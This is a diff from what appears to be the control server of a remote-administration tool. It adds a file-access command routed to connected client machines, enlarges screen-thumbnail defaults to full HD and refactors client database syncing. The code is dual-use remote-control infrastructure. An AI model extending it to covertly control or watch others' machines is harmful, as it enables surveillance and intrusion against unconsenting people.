+    }
+    const user = getUserById(userId);
+    const username = user?.username || "Unknown";
+    const record = insertChatMessage(userId, username, userRole, msg);
+    const onlineClients = getOnlineClientCountForUser(userId);
+    sessionManager.broadcastChatMessage(JSON.stringify({ type: "chat_message", ...record, onlineClients }));
+  } catch {}
+}
@@ -111,6 +111,10 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket<SocketData>,
        target.ws.send(encodeMessage({ type: "command", commandType: "file_write", id: routedId, payload: actualPayload } as any));
        metrics.recordCommand("file_write");
        break;
+      case "file_request_access":
+        target.ws.send(encodeMessage({ type: "command", commandType: "file_request_access", id: routedId, payload: actualPayload } as any));
+        metrics.recordCommand("file_request_access");
+        break;
      case "file_search":
        target.ws.send(encodeMessage({ type: "command", commandType: "file_search", id: routedId, payload: actualPayload } as any));
        metrics.recordCommand("file_search");
@@ -14,12 +14,12 @@ async function getSharp(): Promise<any> {
  }
 }

-const THUMBNAIL_WIDTH = Math.max(64, Number(process.env.OVERLORD_THUMBNAIL_WIDTH || 400));
-const THUMBNAIL_HEIGHT = Math.max(48, Number(process.env.OVERLORD_THUMBNAIL_HEIGHT || 225));
+const THUMBNAIL_WIDTH = Math.max(64, Number(process.env.OVERLORD_THUMBNAIL_WIDTH || 1920));
+const THUMBNAIL_HEIGHT = Math.max(48, Number(process.env.OVERLORD_THUMBNAIL_HEIGHT || 1080));
 const THUMBNAIL_QUALITY = Math.min(95, Math.max(40, Number(process.env.OVERLORD_THUMBNAIL_QUALITY || 88)));
 const MAX_THUMBNAIL_SOURCE_BYTES = Math.max(
  256 * 1024,
-  Number(process.env.OVERLORD_THUMBNAIL_MAX_SOURCE_BYTES || 8 * 1024 * 1024),
+  Number(process.env.OVERLORD_THUMBNAIL_MAX_SOURCE_BYTES || 16 * 1024 * 1024),
 );
 const THUMBNAIL_CACHE_MAX = Math.max(
  64,
@@ -15,8 +15,11 @@ import {
  notifyThumbnailGenerated,
  requestThumbnailRegen,
 } from "./thumbnails";
-import { upsertClientRow, type ClientDbRow } from "./db";
+import { upsertClientRow } from "./db";
 import { metrics } from "./metrics";
+import { markClientDbSynced, queueClientDbUpdate, shouldSyncClientToDb } from "./client-db-sync";
+
+export { clearClientSyncState } from "./client-db-sync";

 /** Strip control chars and clamp length on client-supplied info strings. */
 function sanitizeInfoString(val: unknown, maxLen = 256): string | undefined {
@@ -56,51 +59,6 @@ function sanitizeJsonField(
 }

 const MAX_PING_RTT_MS = 15_000;
-const CLIENT_DB_SYNC_INTERVAL_MS = Number(process.env.OVERLORD_CLIENT_DB_SYNC_MS || 5000);
-const lastClientDbSync = new Map<string, number>();
-const pendingClientDbUpdates = new Map<string, ClientDbRow>();
-
-function queueClientDbUpdate(partial: ClientDbRow): void {
-  const existing = pendingClientDbUpdates.get(partial.id);
-  if (!existing) {
-    pendingClientDbUpdates.set(partial.id, { ...partial });
-    return;
-  }
-  pendingClientDbUpdates.set(partial.id, {
-    ...existing,
-    ...partial,
-    id: partial.id,
-    lastSeen: partial.lastSeen ?? existing.lastSeen,
-    online: partial.online ?? existing.online,
-    pingMs: partial.pingMs ?? existing.pingMs,
-  });
-}
-
-function flushQueuedClientDbUpdates(): void {
-  if (pendingClientDbUpdates.size === 0) {
-    return;
-  }
-  for (const update of pendingClientDbUpdates.values()) {
-    upsertClientRow(update);
-  }
-  pendingClientDbUpdates.clear();
-}
-
-setInterval(flushQueuedClientDbUpdates, CLIENT_DB_SYNC_INTERVAL_MS);
-
-function shouldSyncClientToDb(clientId: string, now: number): boolean {
-  const last = lastClientDbSync.get(clientId) || 0;
-  if (now - last < CLIENT_DB_SYNC_INTERVAL_MS) {
-    return false;
-  }
-  lastClientDbSync.set(clientId, now);
-  return true;
-}
-
-export function clearClientSyncState(clientId: string): void {
-  lastClientDbSync.delete(clientId);
-  pendingClientDbUpdates.delete(clientId);
-}

 export async function handleHello(
  info: ClientInfo,
@@ -246,7 +204,7 @@ export function handlePong(info: ClientInfo, payload: WireMessage) {
      online: 1,
      isAdmin: info.isAdmin,
    });
-    lastClientDbSync.set(info.id, nowTs);
+    markClientDbSynced(info.id, nowTs);

    metrics.recordPing(rtt);
  } else {